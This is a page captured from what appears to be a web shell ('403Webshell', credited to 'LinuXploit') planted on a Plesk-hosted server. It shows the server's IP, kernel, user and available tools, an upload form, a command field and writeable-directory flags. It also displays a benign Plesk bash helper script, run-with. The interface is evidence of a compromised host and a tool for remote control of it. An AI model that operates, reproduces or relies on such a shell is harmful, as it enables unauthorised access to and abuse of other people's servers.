403Webshell
Server IP : 198.71.59.75  /  Your IP : 216.73.216.240
Web Server : nginx/1.30.2
System : Linux elegant-dhawan.198-71-59-75.plesk.page 5.15.0-105-generic #115-Ubuntu SMP Mon Apr 15 09:52:04 UTC 2024 x86_64
User : realtyna_guys ( 10000)
PHP Version : 8.2.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/psa/admin/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/psa/admin/bin/run-with
#!/bin/bash -e
### Copyright 1999-2026. WebPros International GmbH. All rights reserved.

usage()
{
	if [ -n "$*" ]; then
		echo "run-with: $*" >&2
		exit 2
	fi

	cat <<-EOT
	Usage: run-with [OPTIONS] [--] COMMAND [ARG ...]
	Run COMMAND with changes to how it's executed.

	  --stdin  FILE             Redirect stdin from FILE.
	  --stdout FILE             Redirect stdout to FILE.
	  --stderr FILE             Redirect stderr to FILE.
	  --timeout DURATION        Command execution timeout.
	  --stop-timeout DURATION   Kill command after the initial attempt to stop it,
	                            if it's still running after this timeout.
	                            This option is ignored if --timeout is not set.
	  
	  FILE is an absolute file path.
	  DURATION is a floating point number with an optional suffix: 's' for seconds
	  (the default), 'm' for minutes, 'h' for hours or 'd' for days.
	EOT
	exit 2
}

# --- parse args ---

opt_stdin=
opt_stdout=
opt_stderr=
opt_run_timeout=
opt_stop_timeout=

TEMP=`getopt -o h --long stdin:,stdout:,stderr:,timeout:,stop-timeout:,help \
	-n run-with -- "$@"` || exit 2
eval set -- "$TEMP"

while [ "$#" -gt 0 ]; do
	case "$1" in
		--stdin)
			opt_stdin="$2"
			shift 2
			;;
		--stdout)
			opt_stdout="$2"
			shift 2
			;;
		--stderr)
			opt_stderr="$2"
			shift 2
			;;
		--timeout)
			opt_run_timeout="$2"
			shift 2
			;;
		--stop-timeout)
			opt_stop_timeout="$2"
			shift 2
			;;
		-h|--help)
			usage
			;;
		--)
			shift
			break
			;;
		*)
			usage "unhandled argument '$1'"
			;;
	esac
done

[ -n "$*" ] || usage "command is empty"
! [ -n "$opt_stop_timeout" -a -z "$opt_run_timeout" ] || opt_stop_timeout=

# --- execute ---

[ -z "$opt_stdin"  ] || exec 0<"$opt_stdin"
[ -z "$opt_stdout" ] || exec 1>"$opt_stdout"
[ -z "$opt_stderr" ] || exec 2>"$opt_stderr"

if [ -n "$opt_run_timeout" ]; then
	exec /usr/bin/timeout ${opt_stop_timeout:+--kill-after "$opt_stop_timeout"} "$opt_run_timeout" "$@"
else
	exec "$@"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit